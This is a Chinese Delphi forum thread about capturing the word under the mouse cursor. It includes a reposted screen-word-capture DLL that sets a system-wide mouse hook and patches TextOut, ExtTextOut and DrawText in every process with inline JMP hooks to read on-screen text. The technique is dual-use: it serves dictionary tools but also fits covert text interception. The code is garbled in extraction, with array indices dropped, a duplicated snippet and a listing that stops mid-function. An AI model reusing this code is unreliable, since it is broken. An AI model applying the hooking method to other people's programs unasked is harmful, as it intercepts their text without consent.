B
buxiaolei
Unregistered / Unconfirmed
GUEST, unregistred user!
在一个memo里有很多行的单词 如何对一个陌生的单词做出提示 在鼠标放在上面时就像showhint一样
记录单词坐标可以不？出来此还有其他的方法没？
高手帮忙啊~~~····！！！
代码:
高手帮忙啊~~~····！！！
H
helloqiner
Unregistered / Unconfirmed
GUEST, unregistred user!
可以调用api取到当前鼠标指向的单词,就像金山词霸一样.
网上有类似的代码, 找到一下吧
网上有类似的代码, 找到一下吧
L
lihoulong
Unregistered / Unconfirmed
GUEST, unregistred user!
procedure TForm1.MEMO1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
var
i,j :integer;
p:Tpoint;
begin
GetCursorPos(p);
p.Y :=Trunc( (p.Y-memo1.Top-top )/13)-2;
Caption := memo1.Lines.Strings[p.y];
end;
Y: Integer);
var
i,j :integer;
p:Tpoint;
begin
GetCursorPos(p);
p.Y :=Trunc( (p.Y-memo1.Top-top )/13)-2;
Caption := memo1.Lines.Strings[p.y];
end;
网
网中戏
Unregistered / Unconfirmed
GUEST, unregistred user!
用有指针的控件。提示放入指针
W
weiliu
Unregistered / Unconfirmed
GUEST, unregistred user!
话题1123349的标题是： 超级奉献：屏幕取词完全Delphi实现代码！ (0分)
分类：系统相关 huiyugan (2002-05-25 13:34:00)
鉴于经常在网上看到有很多人研究屏幕取词，索要代码，我想把我写的一个屏幕取词的雏形
奉献给需要的人，也许这份代码在很多高手看来嗤之以鼻，但我这个人不怕献丑，希望能得
到高手的斧正。
在网上我们经常能够看到一些实现，但是并没有看到完全的delphi实现，经常是dll是其他
写的或者没有源代码。我们经常看到的都是被人说了1千遍的所谓实现机制。
声明：此代码是我慢慢试验一步一步写出来的，所以代码很乱，希望大家不要对此作过多批
评，此外其功能并没有完全实现，比如IE下的取词，取词的分析，我说过只是雏形。
关于重画，贴出来的代码中使用了显示一个窗口然后隐藏，其实可以用InvalidataRect,再
发重画消息。
代码只是在2000下能用，稍作改动可以用于98。
如转载请注明原作者。
如有讨论者可以在此论坛，也可以通过huiyugan@263.net甘化新联系。
代码大概有一千多行，我不知道能够正常贴上。
---------------------------------------------------
可以去 http://delphi.mychangshu.com/dispdoc.asp?id=988 下载代码
huiyugan (2002-05-25 13:39:00)
单元untTypes.pas
(*******************************************************************************
* Copy Right (C) Gan Huaxin 2001, 2002, huiyugan@263.net
* A Free Screen Words Capture Library
* Dedicated to my GirlFriend Sunny, Happy for ever
*
* Version Date Modification
* 0.1 2001-11-07~09 New, oly a test
* Can Get Word, Sometimes occure error
* 0.2 2002-05-14~16 Some Bugs Fixed,And
*******************************************************************************)
unit untTypes;
interface
uses
Windows;
type
TCommonData = record
bCapture : BOOL;
bInSpec : BOOL;
CallBackHandle:HWnd;
CallBackProcID : DWORD;
hWndFloat : HWnd; (*浮动窗口的句柄*)
hWndMouse : HWnd; (*鼠标所在窗口server的句柄*)
hWndCapture : HWnd; (*当前鼠标所在的窗口*)
MousePos : TPoint; (*当前鼠标屏幕坐标*)
MousePClient : TPoint; (*鼠标所在窗口的坐标*)
Rect : TRect;
case integer of
0 : (BufferA : array [0..1023] of Char);
1 : (BufferW : array [0..511] of WideChar);
end;
PCommonData = ^TCommonData;
TCode5 = packed record
siJmp : ShortInt;
dwAddr : DWORD;
end;
TThunkFunc = (tfTextOutA, tfTextOutW,
tfExtTextOutA, tfExtTextOutW,
tfDrawTextA, tfDrawTextW);
TThunkFuncName = packed record
strMod : string; // 系统模块名称
strSysProc : string; // 系统DLL中的名字
strThunkProc : string; // 你替换的函数的名字，必须在DLL的引出表中
end;
TThunkCode = packed record
codeBak : TCode5; // 系统函数的代码的前5个字节
codeThunk : TCode5; // 跳转到你的代码的5个字节
addr_sys : Pointer; // 系统函数的地址
addr_thunk : Pointer; // 替换函数的地址
bInstalled : boolean; // 安装了吗?
end;
const
G_DELAY_TIME = 100;
const
ThunkFuncNameArr : array[TThunkFunc] of TThunkFuncName = (
(strMod : 'gdi32.dll'; strSysProc : 'TextOutA'; strThunkProc : 'GanTextOutA'),
(strMod : 'gdi32.dll'; strSysProc : 'TextOutW'; strThunkProc : 'GanTextOutW'),
(strMod : 'gdi32.dll'; strSysProc : 'ExtTextOutA'; strThunkProc : 'GanExtTextOutA'),
(strMod : 'gdi32.dll'; strSysProc : 'ExtTextOutW'; strThunkProc : 'GanExtTextOutW'),
(strMod : 'user32.dll'; strSysProc : 'DrawTextA'; strThunkProc : 'GanDrawTextA'),
(strMod : 'user32.dll'; strSysProc : 'DrawTextW'; strThunkProc : 'GanDrawTextW')
);
implementation
end.
huiyugan (2002-05-25 13:41:00)
链接库 GFDict.dll的代码，GFDict.dpr
(*******************************************************************************
* Copy Right (C) Gan Huaxin 2001, 2002, huiyugan@263.net
* A Free Screen Words Capture Library
* Dedicated to my GirlFriend Sunny, Happy for ever
*
* Version Date Modification
* 0.1 2001-11-07~09 New, oly a test
* Can Get Word, Sometimes occure error
* 0.2 2002-05-14~16 Some Bugs Fixed,And
*******************************************************************************)
library GFDict;
// {$DEFINE MSG_NOT_SEND}
{$DEFINE WIN_NT}
{$IFNDEF WIN_NT}
{$DEFINE WIN_9X}
{$ENDIF}
// {$DEFINE DEBUG}
uses
SysUtils,
Classes,
windows,
messages,
untTypes;
const
STR_MSGNOTIFY
Char='WM_GANNOTIFY';
var
HMapFile:THandle;
CommonData:^TCommonData;
idMsg : UINT;
hwndServer : HWnd;
var
hWndCover : THandle;
LastMousePos : TPoint;
LastTime : DWORD;
g_CriticalSection : TRTLCriticalSection;
m_CriticalSection : TRTLCriticalSection;
b_InCS : boolean;
var
hNextHookProc: HHook;
hProc : THandle;
bFirst : boolean;
bDllInstalled : boolean;
ThunkCodeArr : array[TThunkFunc] of TThunkCode;
{$IFDEF DEBUG}
procedure GanWarning;
begin
MessageBeep(0);
end;
{$ELSE}
procedure GanWarning;
begin
end;
{$ENDIF}
{$DEFINE _NOTIFY_}
{$IFDEF _NOTIFY_}
procedure GanNotify;
begin
MessageBeep(0);
end;
{$ELSE}
procedure GanNotify;
begin
end;
{$ENDIF}
// about Memory Map file support
procedure MapCommonData;
var FirstCall: Boolean;
begin
HMapFile:=OpenFileMapping(FILE_MAP_WRITE, False, 'GanGan_ThunkDict');
FirstCall:=(HMapFile = 0);
if FirstCall then
HMapFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,
0,SizeOf(TCommonData),
'GanGan_ThunkDict');
CommonData:= MapViewOfFile(HMapFile, FILE_MAP_WRITE, 0, 0, 0);
if FirstCall then FillChar(CommonData^, SizeOf(TCommonData), 0);
end;
// -----------------------------------------------------------------------------
procedure UnInstallThunkFunc(tfType : TThunkFunc);
var
nCount : DWORD;
begin
if not ThunkCodeArr[tfType].bInstalled then exit;
if (hProc=0) or (ThunkCodeArr[tfType].addr_sys=nil) then exit;
WriteProcessMemory(hProc,
ThunkCodeArr[tfType].addr_sys,
@(ThunkCodeArr[tfType].codeBak),
5,
nCount);
ThunkCodeArr[tfType].bInstalled := false;
end;
procedure InstallThunkFunc(tfType : TThunkFunc);
var
nCount : DWORD;
begin
if ThunkCodeArr[tfType].bInstalled then exit;
if (hProc=0) or (ThunkCodeArr[tfType].addr_sys=nil) then exit;
WriteProcessMemory(hProc,
ThunkCodeArr[tfType].addr_sys,
@(ThunkCodeArr[tfType].codeThunk),
5,
nCount);
ThunkCodeArr[tfType].bInstalled := True;
end;
procedure UnInstallGanFilter; forward;
{=================== TextOut ==============================================}
function GanTextOutA(DC: HDC; X, Y: Integer; Str: PAnsiChar; Count: Integer): BOOL; stdcall;
var
tm : TTextMetric;
rect : TRect;
size : TSize;
i, j : integer;
posDcOrg : TPoint;
posDcOff : TPoint;
begin
// EnterCriticalSection(g_CriticalSection);
result := FALSE;
UnInstallThunkFunc(tfTextOutA);
{$IFNDEF MSG_NOT_SEND}
try
if (CommonData<>nil) then begin
GetDcOrgEx(dc, posDcOrg); // Get The DC offset
posDcOff := Point(x,y);
LPtoDP(dc, posDcOff, 1);
Rect.Left := posDcOrg.x + posDcOff.x;
Rect.Top := posDcOrg.y + posDcOff.y;
if BOOL(GetTextAlign(dc) and TA_UPDATECP) then begin
GetCurrentPositionEx(dc, @posDcOff);
Inc(Rect.Left, posDcOff.x);
Inc(Rect.Top, posDcOff.y);
end;
GetTextExtentPointA(DC, Str, Count, size);
Rect.Right := Rect.Left + size.cx;
Rect.Bottom := Rect.Top + size.cy;
if PtInRect(rect, CommonData.MousePos) then begin // in total area!
if StrPos(Str, ' ')<>nil then begin
i := 0;
while (Str = Char(' ')) and (i<Count) do Inc(i);
j := i;
while (i<Count) do begin
if Str=Char(' ') then begin
Str := Char(0);
GetTextExtentPointA(DC, Str, i-1, size);
rect.Right := rect.Left + size.cx;
if PtInRect(rect, CommonData.MousePos) then begin
// SendMessage(CommonData.CallBackHandle, idMsg, i, 3);
StrCopy(CommonData.BufferA, PChar(@(Str[j])));
CommonData^.Rect := Rect;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);
Str := Char(' ');
break;
end;
Str := Char(' ');
while (Str = Char(' ')) and (i < Count) do Inc(i);
if i=Count then break;
j := i;
Dec(i);
// break;
end;
inc(i);
end;
if (i=Count) then begin
StrCopy(CommonData.BufferA, PChar(@(Str[j])));
CommonData^.Rect := Rect;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);
end;
end else
begin
StrCopy(CommonData.BufferA, Str);
CommonData^.Rect := Rect;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);
end;
end;
end;
(*
StrCopy(CommonData.BufferA, Str);
CommonData^.Rect := Rect;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);
*)
except
GanWarning;
StrCopy(CommonData.BufferA, 'Error in TextOutA');
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);
end;
{$ENDIF}
TextOutA(DC, X, Y, Str, Count);
InstallThunkFunc(tfTextOutA);
// UnInstallGanFilter;
// LeaveCriticalSection(g_CriticalSection);
end;
function GanTextOutW(DC: HDC; X, Y: Integer; Str: PWideChar; Count: Integer): BOOL; stdcall;
var
tm : TTextMetric;
rect : TRect;
size : TSize;
i, j : integer;
wChar : WideChar;
posDcOrg, posDcOff : TPoint;
begin
// EnterCriticalSection(g_CriticalSection);
result := FALSE;
UnInstallThunkFunc(tfTextOutW);
{$IFNDEF MSG_NOT_SEND}
try
if (CommonData<>nil) then begin
GetDcOrgEx(dc, posDcOrg);
posDcOff := Point(x,y);
LPtoDP(dc, posDcOff, 1);
Rect.Left := posDcOrg.x + posDcOff.x;
Rect.Top := posDcOrg.y + posDcOff.y;
if BOOL(GetTextAlign(dc) and TA_UPDATECP) then begin
GetCurrentPositionEx(dc, @posDcOff);
Inc(Rect.Left, posDcOff.x);
Inc(Rect.Top, posDcOff.y);
end;
GetTextExtentPointW(DC, Str, Count, size);
rect.Right := rect.Left + size.cx;
rect.Bottom := rect.Top + size.cy;
if PtInRect(rect, CommonData.MousePos) then begin
if StrPos(PChar(WideCharToString(Str)), ' ')<>nil then begin
i := 0;
while (Str = WideChar(' ')) and (i<Count) do Inc(i);
j := i;
while (i<Count) do begin
if Str=WideChar(' ') then begin
Str := WideChar(0);
GetTextExtentPoint32W(DC, Str, i-1, size);
rect.Right := rect.Left + size.cx;
if PtInRect(rect, CommonData.MousePos) then begin
// SendMessage(CommonData.CallBackHandle, idMsg, i, 3);
StrCopy(CommonData.BufferA,PChar(WideCharToString(@(Str[j]))));
CommonData^.Rect := Rect;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutW), 0);
Str := WideChar(' ');
break;
end;
Str := WideChar(' ');
while (Str = WideChar(' ')) and (i < Count) do Inc(i);
if i=Count then break;
j := i;
Dec(i);
// break;
end;
inc(i);
end;
if (i=Count) then begin
StrCopy(CommonData.BufferA, PChar(WideCharToString(@(Str[j]))));
CommonData^.Rect := Rect;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutW), 0);
end;
end else
begin
StrCopy(CommonData.BufferA,PChar(WideCharToString(Str)));
CommonData^.Rect := Rect;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutW), 0);
end;
end;
end;
except
GanWarning;
StrCopy(CommonData.BufferA, 'Error in TextOutW');
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutW), 0);
end;
{$ENDIF}
result := TextOutW(DC, X, Y, Str, Count);
InstallThunkFunc(tfTextOutW);
// UnInstallGanFilter;
// LeaveCriticalSection(g_CriticalSection);
end;
{=================== ExtTextOut ============================================}
(*
这个函数在UltraEdit里会出错，加上异常处理就没有关系。
Bug Fixed 2002-05-13
*)
function GanExtTextOutA(DC: HDC; X, Y: Integer; Options: Longint;
Rect: PRect; Str: PAnsiChar; Count: Longint; Dx: PInteger): BOOL; stdcall;
var
posDcOrg : TPoint;
posDc : TPoint;
RectText : TRect;
size : TSize;
begin
// EnterCriticalSection(g_CriticalSection);
result := FALSE;
UnInstallThunkFunc(tfExtTextOutA);
{$IFNDEF MSG_NOT_SEND}
GetDcOrgEx(dc, posDcOrg);
posDc := Point(x,y);
LPtoDP(dc, posDc, 1);
RectText.Left := posDc.x + posDcOrg.x;
RectText.Top := posDc.y + posDcOrg.y;
if BOOL(GetTextAlign(dc) and TA_UPDATECP) then begin
GetCurrentPositionEx(dc, @posDc);
Inc(RectText.Left, posDc.x);
Inc(RectText.Top, posDc.y);
end;
GetTextExtentPointA(dc, Str, Count, size); {Get The Length and Height of str}
with RectText do begin
Right := Left + size.cx;
Bottom := Top + Size.cy;
end;
if (CommonData<>nil) {and false} and PtInRect(RectText, CommonData.MousePos) then begin
try
StrCopy(CommonData.BufferA, Str);
CommonData^.Rect := RectText;
except
GanWarning;
StrCopy(CommonData.BufferA, 'ERROR in ExtTextOutA');
end;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfExtTextOutA), 0);
end;
{$ENDIF}
result := ExtTextOutA(DC, X, Y, Options, Rect, Str, Count, Dx);
InstallThunkFunc(tfExtTextOutA);
// UnInstallGanFilter;
// LeaveCriticalSection(g_CriticalSection);
end;
function GanExtTextOutW(DC: HDC; X, Y: Integer; Options: Longint;
Rect: PRect; Str: PWideChar; Count: Longint; Dx: PInteger): BOOL; stdcall;
var
posDcOrg : TPoint;
posDc : TPoint;
RectText : TRect;
size : TSize;
label last;
begin
// EnterCriticalSection(g_CriticalSection);
result := FALSE;
UnInstallThunkFunc(tfExtTextOutW);
{$IFNDEF MSG_NOT_SEND}
if CommonData^.bInSpec then begin
(*if (Options and ETO_CLIPPED)=0 then goto last;*)
try
StrCopy(CommonData.BufferA,PChar(WideCharToString(Str)));
CommonData^.Rect := RectText;
except
GanWarning;
StrCopy(CommonData.BufferA, 'ERROR in ExtTextOutW');
end;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfExtTextOutW), 0);
goto last;
end;
GetDcOrgEx(dc, posDcOrg);
posDc.x := x;
posDc.y := y;
LPtoDP(dc, posDc, 1);
RectText.Left := posDc.x + posDcOrg.x;
RectText.Top := posDc.y + posDcOrg.y;
if BOOL(GetTextAlign(dc) and TA_UPDATECP) then begin
GetCurrentPositionEx(dc, @posDc);
Inc(RectText.Left, posDc.x);
Inc(RectText.Top, posDc.y);
end;
GetTextExtentPointW(dc, Str, Count, size); {Get The Length and Height of str}
with RectText do begin
Right := Left + size.cx;
Bottom := Top + Size.cy;
end;
if (CommonData<>nil) {and false} and PtInRect(RectText, CommonData.MousePos) then begin
{Bug Find 2002-05-13}
try
StrCopy(CommonData.BufferA,PChar(WideCharToString(Str)));
CommonData^.Rect := RectText;
except
GanWarning;
StrCopy(CommonData.BufferA, 'ERROR in ExtTextOutW');
end;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfExtTextOutW), 0);
end;
{$ENDIF}
last:
result := ExtTextOutW(DC, X, Y, Options, Rect, Str, Count, Dx);
InstallThunkFunc(tfExtTextOutW);
// UnInstallGanFilter;
// LeaveCriticalSection(g_CriticalSection);
end;
{=================== DrawText ==============================================}
function GanDrawTextA(hDC: HDC; lpString: PAnsiChar; nCount: Integer;
var lpRect: TRect; uFormat: UINT): Integer; stdcall;
var
RectSave : TRect;
posDcOrg : TPoint;
begin
// EnterCriticalSection(g_CriticalSection);
UnInstallThunkFunc(tfDrawTextA);
{$IFNDEF MSG_NOT_SEND}
if (CommonData<>nil) {and false} then begin
GetDcOrgEx(hDc, posDcOrg);
RectSave := lpRect;
OffsetRect(RectSave, posDcOrg.x, posDcOrg.y);
if PtInRect(RectSave, CommonData^.MousePos) then begin
try
StrCopy(CommonData.BufferA, lpString);
CommonData^.Rect := lpRect;
except
GanWarning;
end;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfDrawTextA), 0);
end;
end;
{$ENDIF}
result := DrawTextA(hDC, lpString, nCount, lpRect, uFormat);
InstallThunkFunc(tfDrawTextA);
// UnInstallGanFilter;
// LeaveCriticalSection(g_CriticalSection);
end;
function GanDrawTextW(hDC: HDC; lpString: PWideChar; nCount: Integer;
var lpRect: TRect; uFormat: UINT): Integer; stdcall;
var
RectSave : TRect;
posDcOrg : TPoint;
begin
// EnterCriticalSection(g_CriticalSection);
UnInstallThunkFunc(tfDrawTextW);
{$IFNDEF MSG_NOT_SEND}
if (CommonData<>nil) {and false} then begin
GetDcOrgEx(hDc, posDcOrg);
RectSave := lpRect;
OffsetRect(RectSave, posDcOrg.x, posDcOrg.y);
if PtInRect(RectSave, CommonData^.MousePos) then begin
try
StrCopy(CommonData.BufferA,PChar(WideCharToString(lpString)));
CommonData^.Rect := lpRect;
except
GanWarning;
end;
end;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfDrawTextW), 0);
end;
{$ENDIF}
result := DrawTextW(hDC, lpString, nCount, lpRect, uFormat);
InstallThunkFunc(tfDrawTextW);
// UnInstallGanFilter;
// LeaveCriticalSection(g_CriticalSection);
end;
procedure InstallGanFilter;
var
tfType : TThunkFunc;
begin
if bDllInstalled then exit;
for tfType := tfTextOutA to {tfExtTextOutW}tfDrawTextW do
// for tfType := LOW(TThunkFunc) to TThunkFunc(Ord(HIGH(TThunkFunc))-2) do
InstallThunkFunc(tfType);
bDllInstalled := true;
end;
procedure UnInstallGanFilter;
var
tfType : TThunkFunc;
begin
if not bDllInstalled then exit;
for tfType := tfTextOutA to {tfExtTextOutW}tfDrawTextW do
// for tfType := LOW(TThunkFunc) to TThunkFunc(Ord(HIGH(TThunkFunc))-2) do
UnInstallThunkFunc(tfType);
bDllInstalled := false;
end;
{================== =========================================================}
function WMCoverGetMinMaxInfo(
hWnd : THandle;
Msg : LongWord;
wParam : WPARAM;
lParam : LPARAM):BOOL;stdcall;
var
info : ^MINMAXINFO;
begin
result := BOOL(0);
info := Pointer(lParam);
info^.ptMaxSize.x := GetSystemMetrics(SM_CXFULLSCREEN);
info^.ptMaxSize.y := GetSystemMetrics(SM_CYFULLSCREEN);
info^.ptMinTrackSize.x := 0;
info^.ptMinTrackSize.y := 0;
info^.ptMaxTrackSize.x := GetSystemMetrics(SM_CXFULLSCREEN);
info^.ptMaxTrackSize.y := GetSystemMetrics(SM_CYFULLSCREEN);
end;
function CoverMainProc(
hWnd:LongWord;
Message:LongWord;
wParam:WPARAM;
lParam:LPARAM
):BOOL;stdcall;
begin
case Message of
WM_CLOSE :
begin
DestroyWindow(hWnd);
// PostQuitMessage(0);
end;
end;
result := BOOL(DefWindowProc(hWnd, Message, lParam, lParam));
end;
procedure GanGetWordTimer(wnd : HWND; msg, idTimer : Cardinal; dwTime : DWORD);far pascal;
begin
SendMessage(CommonData^.hWndMouse, idMsg, 1, 0);
if (CommonData.BufferA='') then begin
SendMessage(CommonData.CallBackHandle, idMsg, 0, 2);
end;
KillTimer(CommonData^.hWndFloat, 2);
end;
procedure WndCoverTimer(wnd : HWND; msg, idTimer : Cardinal; dwTime : DWORD);far pascal; //CallBack Type
var
mouseWnd : HWnd;
szClass : PChar;
strClass : string;
iLeft, iWidth : Integer;
rect : TRect;
begin
if (CommonData=nil) or (not CommonData^.bCapture) then begin
exit;
end;
mouseWnd := WindowFromPoint(CommonData^.MousePos);
if (mouseWnd=CommonData^.CallBackHandle) then begin
exit;
end;
szClass := StrAlloc(256);
GetClassName(mouseWnd, szClass, 255);
strClass := Strpas(szClass);
StrDispose(szClass);
CommonData^.bInSpec := FALSE;
if (Pos('Internet Explorer_Server', strClass)>0) then begin
GetWindowRect(mouseWnd, rect);
iLeft := rect.Left - 4;
iWidth := rect.Right - rect.Left + 14;
if (CommonData^.MousePos.x - iLeft > 200) then begin
iLeft := CommonData^.MousePos.x - 200;
iWidth := 210;
end;
CommonData^.bInSpec := TRUE;
end
else begin
iLeft := CommonData^.MousePos.x - 1;
iWidth := 1;
end;
// InstallGanFilter;
(*
SetWindowPos(CommonData^.hWndFloat,
HWND_TOPMOST,
CommonData.MousePos.x, CommonData.MousePos.y, 10, 10,
SWP_NOACTIVATE or SWP_SHOWWINDOW);
ShowWindow(CommonData^.hWndFloat, SW_HIDE);
*)
CommonData^.BufferA := '';
SetWindowPos(CommonData^.hWndFloat,
HWND_TOPMOST,
iLeft{CommonData.MousePos.x-1}, CommonData.MousePos.y-1,
iWidth, 2,
88{SWP_NOACTIVATE or SWP_NOREDRAW});
SendMessage(CommonData^.hWndMouse, idMsg, 0, 0);
MoveWindow(CommonData^.hWndFloat, -1, -1, 1, 1, TRUE);
{
SetWindowPos(CommonData^.hWndFloat,
HWND_TOPMOST,
CommonData.MousePos.x, CommonData.MousePos.y,
120, 1,
SWP_NOACTIVATE or SWP_SHOWWINDOW);
ShowWindow(CommonData^.hWndFloat, SW_HIDE);
}
SetTimer(CommonData^.hWndFloat, 2, 300, @GanGetWordTimer);
end;
procedure InitCoverWindow(hInst : LongWord);
var
WndClass : TWndClass; //Ex;
begin
with WndClass do begin
style := WS_EX_TOPMOST;
lpfnWndProc := @CoverMainProc; (*消息处理函数*)
hInstance := hInst;
hbrBackground := color_btnface + 1;
lpszClassname := 'GanFreeDict';
hicon := 0;
hCursor := 0;
cbClsExtra := 0;
cbWndExtra := 0;
end;
try
if not BOOL(RegisterClass{Ex}(WndClass)) then begin
MessageBox(0,
PChar(Format('$EEEE, Can not register class CHILD %d',[GetLastError])),
'Register Error',
MB_OK);
end;
except
MessageBox(0, 'EXCEPTION', 'Register Class', MB_OK);
end;
hWndCover := CreateWindowEx(WS_EX_TOPMOST or WS_EX_TOOLWINDOW,
'GanFreeDict',
'^_^',
WS_POPUP or WS_VISIBLE,
-1,-1,1,1,
0,
0,
hInst, // GetModuleHandle('dll.dll'), // 98 for this, 2000 for 0
nil);
if CommonData<>nil then begin
CommonData^.hWndFloat := hWndCover;
end;
SetTimer(hWndCover, 1, 450, @WndCoverTimer);
end;
(******************************************************************************)
function GanServerProc(
hWnd:LongWord;
Message:LongWord;
wParam:WPARAM;
lParam:LPARAM
):BOOL;stdcall;
begin
if (Message=idMsg) then begin
if (wParam = 0) then begin
InstallGanFilter;
end
else begin
UnInstallGanFilter;
end;
end;
case Message of
WM_CLOSE :
begin
DestroyWindow(hWnd);
// PostQuitMessage(0);
end;
end;
result := BOOL(DefWindowProc(hWnd, Message, lParam, lParam));
end;
procedure InitServerWnd;
var
WndClass : TWndClass; //Ex;
begin
with WndClass do begin
style := WS_EX_TOPMOST;
lpfnWndProc := @GanServerProc; (*消息处理函数*)
hInstance := GetModuleHandle('GFDict.dll');
hbrBackground := color_btnface + 1;
lpszClassname := 'GanServerDict';
hicon := 0;
hCursor := 0;
cbClsExtra := 0;
cbWndExtra := 0;
end;
try
if not BOOL(RegisterClass{Ex}(WndClass)) then begin
MessageBox(0,
PChar(Format('Can not register class server %d',[GetLastError])),
'Register Error',
MB_OK);
end;
except
MessageBox(0, 'EXCEPTION', 'Register Server Class', MB_OK);
end;
hWndServer := CreateWindowEx(WS_EX_TOPMOST or WS_EX_TOOLWINDOW,
'GanServerDict',
'Gan Server',
WS_POPUP or WS_VISIBLE,
-1,-1,1,1,
0,
0,
0, //hInst, // GetModuleHandle('dll.dll'), // 98 for this, 2000 for 0
nil);
if (hWndServer=0) then begin
MessageBeep(0);
end;
end;
(******************************************************************************)
procedure InitThunkCode;
var
tfType : TThunkFunc;
hMod : HMODULE;
pSysFunc, pThunkFunc : Pointer;
begin
for tfType := LOW(TThunkFunc) to HIGH(TThunkFunc) do begin
// clear to zero
FillChar(ThunkCodeArr[tfType], sizeof(TThunkCode), 0);
// fill it by right value
hMod := 0;
hMod := GetModuleHandle(PChar(ThunkFuncNameArr[tfType].strMod));
if hMod = 0 then continue;
pSysFunc := nil;
pSysFunc := GetProcAddress(hMod,
PChar(ThunkFuncNameArr[tfType].strSysProc));
if pSysFunc = nil then continue;
pThunkFunc := nil;
pThunkFunc := GetProcAddress(hInstance,
PChar(ThunkFuncNameArr[tfType].strThunkProc));
if pThunkFunc = nil then continue;
// now fill it!
ThunkCodeArr[tfType].addr_sys := pSysFunc;
ThunkCodeArr[tfType].addr_thunk := pThunkFunc;
ThunkCodeArr[tfType].codeThunk.siJmp := ShortInt($E9); // jmp ____
ThunkCodeArr[tfType].codeThunk.dwAddr :=
DWORD(pThunkFunc) - DWORD(pSysFunc) - 5;
ThunkCodeArr[tfType].codeBak.siJmp := PByte(pSysFunc)^;
ThunkCodeArr[tfType].codeBak.dwAddr := PDWORD(DWORD(pSysFunc)+1)^;
end;
end;
{================== Install Mouse Hook Support ==============================}
function MousePosHookHandler(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
pMouse : PMOUSEHOOKSTRUCT;
mPoint : TPoint;
rect : TRect;
bMousePosChg : boolean;
begin
if iCode < 0 then
begin
Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);
end
else
if (CommonData<>nil) and
(CommonData^.bCapture) and
(TryEnterCriticalSection(m_CriticalSection))
then begin
{$IFDEF WIN_9X}
if bFirst then begin
bFirst := false;
// InstallGanFilter;
InitCoverWindow;
end;
{$ENDIF}
pMouse := PMOUSEHOOKSTRUCT(lParam);
if (CommonData<>nil) then begin
CommonData.MousePos := pMouse.pt;
CommonData.hWndCapture := pMouse.hWnd;
PostMessage(CommonData.CallBackHandle, idMsg, 0, 1);
end;
if (GetCurrentProcessID <> CommonData^.CallBackProcID) then begin
CommonData^.hWndMouse := hWndServer;
mPoint := pMouse^.pt;
ScreenToClient(pMouse^.hwnd, mPoint);
if Assigned(CommonData) then
CommonData.MousePClient := mPoint;
end
else begin
CommonData^.hWndMouse := 0;
end;
(*
if (pMouse.pt.x = LastMousePos.x) and (pMouse.pt.y = LastMousePos.y) then
bMousePosChg := false
else begin
bMousePosChg := true;
LastMousePos := pMouse.pt;
end;
if (wParam = WM_MOUSEMOVE)
and true
{$IFDEF WIN_9X}
and (hWndCover <> 0)
{$ENDIF}
and bMousePosChg
and (not b_InCS)
and (GetTickCount - LastTime > G_DELAY_TIME) then
begin
LastTime := GetTickCount;
// whether in my window
if (CommonData<>nil) and
(GetCurrentProcessID = CommonData^.CallBackProcID) then begin
result := 0;
LeaveCriticalSection(m_CriticalSection);
result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);
exit;
end;
mPoint := pMouse^.pt;
ScreenToClient(pMouse^.hwnd, mPoint);
if Assigned(CommonData) then
CommonData.MousePClient := mPoint;
rect.TopLeft := mPoint;
rect.Right := mPoint.x + 2;
rect.Bottom := mPoint.y + 1;
// Work for NT 2000 XP
{$IFDEF WIN_NT}
InstallGanFilter;
if Assigned(CommonData) then
CommonData.BufferA := '';
InvalidateRect(pMouse^.hWnd, @rect, TRUE);
if (mPoint.X<0) or (mPoint.Y<0) then
SendMessage(pMouse.hwnd, WM_NCPAINT, 1, 0)
else
SendMessage(pMouse.hwnd, WM_PAINT, 0, 0);
UninstallGanFilter;
if Assigned(CommonData) and (CommonData.BufferA='') then begin
SendMessage(CommonData.CallBackHandle, idMsg, 0, 2);
end;
{$ENDIF}
// flowing work on 98
{$IFDEF WIN_9X}
if (hWndCover <> 0) then begin
SetWindowPos(hWndCover, 0, pMouse.pt.X, pMouse.pt.Y, 4, 1,
SWP_NOZORDER or SWP_NOACTIVATE);
ShowWindow(hWndCover, SW_SHOW);
// EnterCriticalSection(m_CriticalSection);
InstallGanFilter;
ShowWindow(hWndCover, SW_HIDE);
// LeaveCriticalSection(m_CriticalSection);
end;
{$ENDIF}
end;
*)
LeaveCriticalSection(m_CriticalSection);
Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);
end
else begin
Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);
end;
end;
function EnableMouseHook(hld:hwnd; ProcessID : DWORD; hInst:THandle): BOOL; export;
begin
Result := False;
if hNextHookProc <> 0 then Exit;
hNextHookProc := SetWindowsHookEx(WH_MOUSE, MousePosHookHandler,Hinstance, 0);
// GetWindowThreadProcessID(hWnd, nil));
InitCoverWindow(hInst);
if CommonData <> nil then begin
CommonData^.CallBackHandle := hld;
CommonData^.CallBackProcID := ProcessID;
end;
Result :=hNextHookProc <> 0 ;
end;
function DisableMouseHook: BOOL; export;
begin
try
if hNextHookProc <> 0 then
begin
KillTimer(CommonData^.hWndFloat, 1);
KillTimer(CommonData^.hWndFloat, 2);
SendMessage(CommonData^.hWndFloat, WM_CLOSE, 0, 0);
CommonData^.hWndFloat := 0;
UnInstallGanFilter;
UnhookWindowshookEx(hNextHookProc);
hNextHookProc := 0;
end;
Result := hNextHookProc = 0;
except
MessageBeep(0);
end;
end;
function SetCaptureFlag(bSet:BOOL):BOOL; export;
begin
if CommonData<>nil then begin
result := TRUE;
CommonData^.bCapture := bSet;
end
else begin
